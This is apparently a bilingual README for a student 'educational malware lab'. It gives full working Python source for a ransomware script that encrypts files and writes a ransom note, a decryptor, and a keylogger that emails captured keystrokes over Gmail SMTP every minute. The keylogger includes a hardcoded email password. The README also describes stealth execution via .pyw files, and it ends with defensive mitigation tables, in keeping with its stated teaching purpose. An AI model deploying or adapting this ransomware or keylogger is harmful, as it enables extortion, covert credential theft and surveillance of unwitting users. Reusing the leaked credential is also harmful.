Laboratório prático de análise de malware para fins educacionais, implementando simulações de Ransomware e Keylogger em Python. Ambiente controlado para compreensão de técnicas ofensivas e desenvolvimento de estratégias defensivas. Desenvolvido como projeto do curso de Cybersecurity da DIO Santander 2025.
🚫 🚨 AVISO LEGAL 🚨 🚫
❗ Disclaimer de Uso:
› Apenas para fins educacionais e de pesquisa
› Use por sua conta e risco
› Não use para atividades ilegais
› Responsabilidade é exclusivamente do usuário
- Demonstrar mecanismos internos de malware em ambiente seguro
- Analisar técnicas de criptografia e captura de dados
- Propor medidas eficazes de prevenção e detecção
- Documentar processos para formação em segurança defensiva
Esta parte do projeto simula o comportamento de um ransomware, que sequestra dados através da criptografia e exige um "resgate" para a liberação.
* Sistema Operacional: macOS
* Ambiente Python: Virtual Environment (venv)
* Editor de Código: Zed
* Ferramentas de Isolamento: Ambiente virtual Python isolado
educational-malware-lab/
├── ransomware/
│ ├── ransomware.py
│ ├── descriptografar.py
│ ├── chave.key
│ ├── LEIA ISSO.txt
│ └── test_files/
├── keylogger/
│ ├── keylogger.py
│ ├── keylogger.pyw
│ ├── keylogger_email.py
│ ├── log.txt
│ └── teste de captura do keylogger
├── images/
├── LICENSE
└── README.md
Comando (executado no terminal):
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Cenário 1: Criptografia de Arquivos
Objetivo: Implementar um script que simula o comportamento de ransomware, criptografando arquivos em um diretório específico.
from cryptography.fernet import Fernet
import os
# 1. Gerar uma chave de criptografia e salvar
def gerar_chave():
chave = Fernet.generate_key()
with open("chave.key", "wb") as chave_file:
chave_file.write(chave)
# 2. Carregar a chave salva
def carregar_chave():
return open("chave.key", "rb").read()
# 3. Criptografar um único arquivo
def criptografar_arquivo(arquivo, chave):
f = Fernet(chave)
with open(arquivo, "rb") as file:
dados = file.read()
dados_encriptados = f.encrypt(dados)
with open(arquivo, "wb") as file:
file.write(dados_encriptados)
# 4. Encontrar arquivos para criptografar
def encontrar_arquivos(diretorio):
lista = []
for raiz, _, arquivos in os.walk(diretorio):
for nome in arquivos:
caminho = os.path.join(raiz, nome)
if nome != "ransoware.py" and not nome.endswith(".key"):
lista.append(caminho)
return lista
# 5. Mensagem de resgate
def criar_mensagem_resgate():
with open("LEIA ISSO.txt", "w") as f:
f.write("Seus arquivos foram criptografados!\n")
f.write("Envia 1 bitcoin para o endereço X e envie o comprovante!\n")
f.write("Depois disso, enviaremos a chave para você recuperar seus dados!\n")
# 6. Execução principal
def main():
gerar_chave()
chave = carregar_chave()
arquivos = encontrar_arquivos("test_files")
for arquivo in arquivos:
criptografar_arquivo(arquivo, chave)
criar_mensagem_resgate()
print("Ransoware executado! Arquivos criptografos!")
if __name__ == "__main__":
main() cd ransomware
python3 ransomware.pyParâmetros do Código:
generate_key(): Utiliza Fernet para gerar chave criptográfica
encrypt_files(): Processa apenas arquivos .txt no diretório especificado
Fernet: Implementa criptografia simétrica AES-128
Resultados:
Arquivos .txt na pasta test_files tornam-se ilegíveis
Chave de recuperação é gerada e exibida
Simulação de mensagem de resgate
Evidência dos dados criptografados
Cenário 2: Processo de Recuperação
Objetivo: Implementar o processo de descriptografia mediante posse da chave correta.
from cryptography.fernet import Fernet
import os
def carregar_chave():
return open("chave.key", "rb").read()
def descriptografar_arquivo(arquivo, chave):
f = Fernet(chave)
with open(arquivo, "rb") as file:
dados = file.read()
dados_descriptografados = f.decrypt(dados)
with open(arquivo, "wb") as file:
file.write(dados_descriptografados)
def encontrar_arquivos(diretorio):
lista = []
for raiz, _, arquivos in os.walk(diretorio):
for nome in arquivos:
caminho = os.path.join(raiz, nome)
if nome != "ransoware.py" and not nome.endswith(".key"):
lista.append(caminho)
return lista
def main():
chave = carregar_chave()
arquivos = encontrar_arquivos("test_files")
for arquivo in arquivos:
descriptografar_arquivo(arquivo, chave)
print("Arquivos restaurados com sucesso")
if __name__ == "__main__":
main()python3 descriptografar.pyFuncionamento:
Solicita a chave de recuperação do usuário
Processa todos os arquivos .txt criptografados
Restaura conteúdo original mediante chave correta
Implementa tratamento de erros para chaves inválidas
Resultados:
Arquivos recuperados com sucesso usando chave correta
Erro detectado com chaves inválidas
Demonstração completa do ciclo ransomware
Evidência dos dados descriptografados
Cenário 1: Captura Básica de Teclas
Objetivo: Implementar um keylogger educacional que registre todas as teclas pressionadas.
from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from threading import Timer
log = ""
# CONFIGURAÇÕES DE E-MAIL
EMAIL_ORIGEM = "keyloggerteste6@gmail.com"
EMAIL_DESTINO = "keyloggerteste6@gmail.com"
SENHA_EMAIL = "hhsx rzbr bucc jnsx123098909889"
def enviar_email():
global log
if log:
msg = MIMEText(log)
msg['SUBJECT'] = "Dados capturados pelo keylogger"
msg['From'] = EMAIL_ORIGEM
msg['To'] = EMAIL_DESTINO
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(EMAIL_ORIGEM, SENHA_EMAIL)
server.send_message(msg)
server.quit()
except Exception as e:
print("Erro ao enviar", e)
log = ""
# Agendar o envio a cada 60 segundos
Timer(60, enviar_email).start()
def on_press(key):
global log
try:
log += key.char
except AttributeError:
if key == keyboard.Key.space:
log += " "
elif key == keyboard.Key.enter:
log += "\n"
elif key == keyboard.Key.backspace:
log += "[<]"
else:
pass # Ignorar control, shift, etc...
# Inicia o keylogger e o envio automático
with keyboard.Listener(on_press=on_press) as listener:
enviar_email()
listener.join()python3 keylogger.py
python3 keylogger_email.pyFuncionamento:
Captura todas as teclas pressionadas em tempo real
Envia logs por email a cada 60 segundos automaticamente
Utiliza autenticação SMTP com Gmail
Trata teclas especiais (espaço, enter, backspace)
**Evidência dos dados capturados**
Arquivo: keylogger/keylogger.pyw
O arquivo .pyw foi utilizado para executar o script sem abrir uma janela de terminal visível. No Windows, arquivos com extensão .pyw são executados sem uma janela de console, tornando a execução mais furtiva. O teste em questão não foi executado no macOS pois extensão .pyw não oculta o terminal ou esconde a execução do mesmo. A extensão .pyw não tem efeito; o script é tratado como qualquer outro arquivo .py no macOS.
Como funciona:
Extensão .pyw evita a abertura do terminal
Execução em segundo plano
Técnica comum em malware real para evitar detecção
- Uma alternativa de ocultação no macOS seria tentar prefixar o nome do arquivo ou pasta com um ponto (.) (ex: .arquivo_oculto) o que esconderia o arquivo python entretanto não esconderia o terminal. Nessa situação o processso ainda seria visível e uma tentativa de corrijir seria usar uma extensão .app para tentar ocultar o terminal.
| Problema | Nível de Risco | Solução |
|---|---|---|
| Criptografia de arquivos | ALTO | Implementar backups 3-2-1 (3 cópias, 2 mídias, 1 off-site) |
| Extorsão financeira | ALTO | Desenvolver plano de resposta a incidentes |
| Propagação em rede | ALTO | Segmentação de rede e princípio do menor privilégio |
| Execução de scripts maliciosos | ALTO | Restrição de execução via AppLocker ou políticas equivalentes |
| Falta de backups testados | ALTO | Backup automatizado com testes regulares de recuperação |
| Problema | Nível de Risco | Solução |
|---|---|---|
| Captura de credenciais | ALTO | Autenticação multi-fator (MFA) em todos os sistemas |
| Execução furtiva (.pyw) | MÉDIO | Monitoramento de processos e extensões de arquivo |
| Exfiltração de dados por email | ALTO | Firewall e DLP monitorando saída de dados |
| Persistência em sistema | MÉDIO | Análise de autostart e agendadores de tarefas |
| Falta de detecção em tempo real | ALTO | Implementar EDR com monitoramento contínuo |
- Antivírus/EDR: Windows Defender ATP, CrowdStrike Falcon, SentinelOne
- Monitoramento: Wazuh, Elastic Security, Splunk
- Prevenção: AppLocker (Windows), Gatekeeper (macOS)
- Treinamento de usuários em identificação de ameaças
- Políticas de senhas fortes e MFA obrigatório
- Procedimentos de resposta a incidentes
- Backups automatizados e testados regularmente
- Segmentação de rede para serviços críticos
- Auditoria e monitoramento contínuo
Este projeto está licenciado sob a Licença MIT. Consulte o arquivo LICENSE para mais detalhes.
André Luís Alves Campos
🚫 🚨 LEGAL WARNING 🚨 🚫
❗ Usage Disclaimer:
› Educational and research purposes only
› Use at your own risk
› Do not use for illegal activities
› User bears all responsibility
Educational Malware Lab (DIO)
Practical malware analysis lab for educational purposes, implementing Ransomware and Keylogger simulations in Python. A controlled environment for understanding offensive techniques and developing defensive strategies. Developed as a project for the DIO Santander 2025 Cybersecurity course.
Project Objective:
Demonstrate internal malware mechanisms in a secure environment
Analyze encryption and data capture techniques
Propose effective prevention and detection measures
Document processes for defensive security training
This part of the project simulates ransomware behavior, which hijacks data through encryption and demands a "ransom" for its release.
* Operating System: macOS
* Python Environment: Virtual Environment (venv)
* Code Editor: Zed
* Isolation Tools: Isolated Python virtual environment
educational-malware-lab/
├── ransomware/
│ ├── ransomware.py
│ ├── descriptografar.py
│ ├── chave.key
│ ├── LEIA ISSO.txt
│ └── test_files/
├── keylogger/
│ ├── keylogger.py
│ ├── keylogger.pyw
│ ├── keylogger_email.py
│ ├── log.txt
│ └── teste de captura do keylogger
├── images/
├── LICENSE
└── README.md
Command (executed in terminal):
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Scenario 1: File Encryption
Objective: Implement a script that simulates ransomware behavior, encrypting files in a specific directory.
from cryptography.fernet import Fernet
import os
# 1. Gerar uma chave de criptografia e salvar
def gerar_chave():
chave = Fernet.generate_key()
with open("chave.key", "wb") as chave_file:
chave_file.write(chave)
# 2. Carregar a chave salva
def carregar_chave():
return open("chave.key", "rb").read()
# 3. Criptografar um único arquivo
def criptografar_arquivo(arquivo, chave):
f = Fernet(chave)
with open(arquivo, "rb") as file:
dados = file.read()
dados_encriptados = f.encrypt(dados)
with open(arquivo, "wb") as file:
file.write(dados_encriptados)
# 4. Encontrar arquivos para criptografar
def encontrar_arquivos(diretorio):
lista = []
for raiz, _, arquivos in os.walk(diretorio):
for nome in arquivos:
caminho = os.path.join(raiz, nome)
if nome != "ransoware.py" and not nome.endswith(".key"):
lista.append(caminho)
return lista
# 5. Mensagem de resgate
def criar_mensagem_resgate():
with open("LEIA ISSO.txt", "w") as f:
f.write("Seus arquivos foram criptografados!\n")
f.write("Envia 1 bitcoin para o endereço X e envie o comprovante!\n")
f.write("Depois disso, enviaremos a chave para você recuperar seus dados!\n")
# 6. Execução principal
def main():
gerar_chave()
chave = carregar_chave()
arquivos = encontrar_arquivos("test_files")
for arquivo in arquivos:
criptografar_arquivo(arquivo, chave)
criar_mensagem_resgate()
print("Ransoware executado! Arquivos criptografos!")
if __name__ == "__main__":
main()
cd ransomware
python3 ransomware.py
generate_key(): Uses Fernet to generate cryptographic key
encrypt_files(): Processes only .txt files in the specified directory
Fernet: Implements AES-128 symmetric encryption-
.txt files in the test_files folder become unreadable
-
Recovery key is generated and displayed
-
Ransom message simulation
Evidence of encrypted data Here is an image showing the encrypted data:
Objective: Implement the decryption process upon possession of the correct key.
from cryptography.fernet import Fernet
import os
def carregar_chave():
return open("chave.key", "rb").read()
def descriptografar_arquivo(arquivo, chave):
f = Fernet(chave)
with open(arquivo, "rb") as file:
dados = file.read()
dados_descriptografados = f.decrypt(dados)
with open(arquivo, "wb") as file:
file.write(dados_descriptografados)
def encontrar_arquivos(diretorio):
lista = []
for raiz, _, arquivos in os.walk(diretorio):
for nome in arquivos:
caminho = os.path.join(raiz, nome)
if nome != "ransoware.py" and not nome.endswith(".key"):
lista.append(caminho)
return lista
def main():
chave = carregar_chave()
arquivos = encontrar_arquivos("test_files")
for arquivo in arquivos:
descriptografar_arquivo(arquivo, chave)
print("Arquivos restaurados com sucesso")
if __name__ == "__main__":
main()
Execution command:
python3 descriptografar.py-
Prompts the user for the recovery key
-
Processes all encrypted .txt files
-
Restores original content with the correct key
-
Implements error handling for invalid keys
-
Ensures only authorized users can access the decryption process
-
Files successfully recovered using the correct key
-
Error detected with invalid keys
-
Complete demonstration of the ransomware cycle
Evidence of decrypted data
Here is an image showing the decrypted data:
Objective: Implement an educational keylogger that logs all pressed keys.
from pynput import keyboard
import smtplib
from email.mime.text import MIMEText
from threading import Timer
log = ""
# CONFIGURAÇÕES DE E-MAIL
EMAIL_ORIGEM = "keyloggerteste6@gmail.com"
EMAIL_DESTINO = "keyloggerteste6@gmail.com"
SENHA_EMAIL = "hhsx rzbr bucc jnsx123098909889"
def enviar_email():
global log
if log:
msg = MIMEText(log)
msg['SUBJECT'] = "Dados capturados pelo keylogger"
msg['From'] = EMAIL_ORIGEM
msg['To'] = EMAIL_DESTINO
try:
server = smtplib.SMTP("smtp.gmail.com", 587)
server.starttls()
server.login(EMAIL_ORIGEM, SENHA_EMAIL)
server.send_message(msg)
server.quit()
except Exception as e:
print("Erro ao enviar", e)
log = ""
# Agendar o envio a cada 60 segundos
Timer(60, enviar_email).start()
def on_press(key):
global log
try:
log += key.char
except AttributeError:
if key == keyboard.Key.space:
log += " "
elif key == keyboard.Key.enter:
log += "\n"
elif key == keyboard.Key.backspace:
log += "[<]"
else:
pass # Ignorar control, shift, etc...
# Inicia o keylogger e o envio automático
with keyboard.Listener(on_press=on_press) as listener:
enviar_email()
listener.join()Execution command
python3 keylogger.py
python3 keylogger_email.pyCaptures all pressed keys in real-time
Automatically sends logs via email every 60 seconds
Uses SMTP authentication with Gmail
Handles special keys (space, enter, backspace)
Evidence of captured data
File: keylogger/keylogger.pyw
The .pyw file was used to execute the script without opening a visible terminal window. On Windows, files with the .pyw extension are executed without a console window, making the execution more stealthy. This test was not executed on macOS as the .pyw extension does not hide the terminal or the execution itself. The .pyw extension has no effect; the script is treated like any other .py file on macOS.
How it works:
* .pyw extension prevents terminal window from opening
* Background execution
* Common technique in real malware to avoid detection
An alternative concealment on macOS would be to try prefixing the file or folder name with a dot (.) (e.g., .hidden_file), which would hide the Python file but not the terminal. In this situation, the process would still be visible, and an attempt to correct this would be to use an .app extension to try to hide the terminal.
Phase 4: Risk Analysis and Recommendations (Mitigation)
| Problem | Risk Level | Solution |
|---|---|---|
| File encryption | HIGH | Implement 3-2-1 backups (3 copies, 2 media, 1 off-site) |
| Financial extortion | HIGH | Develop incident response plan |
| Network propagation | HIGH | Network segmentation and principle of least privilege |
| Malicious script execution | HIGH | Script execution restriction via AppLocker or equivalent policies |
| Lack of tested backups | HIGH | Automated backup with regular recovery tests |
| Problem | Risk Level | Solution |
|---|---|---|
| Credential capture | HIGH | Multi-factor authentication (MFA) on all systems |
| Stealthy execution (.pyw) | MEDIUM | Process and file extension monitoring |
| Data exfiltration via email | HIGH | Firewall and DLP monitoring outbound data |
| System persistence | MEDIUM | Autostart and task scheduler analysis |
| Lack of real-time detection | HIGH | Implement EDR with continuous monitoring |
- Antivirus/EDR: Windows Defender ATP, CrowdStrike Falcon, SentinelOne
- Monitoring: Wazuh, Elastic Security, Splunk
- Prevention: AppLocker (Windows), Gatekeeper (macOS)
- User training in threat identification
- Strong password policies and mandatory MFA
- Incident response procedures
- Automated and regularly tested backups
- Network segmentation for critical services
- Continuous auditing and monitoring
This project is licensed under the MIT License. See the LICENSE file for more details.
André Luís Alves Campos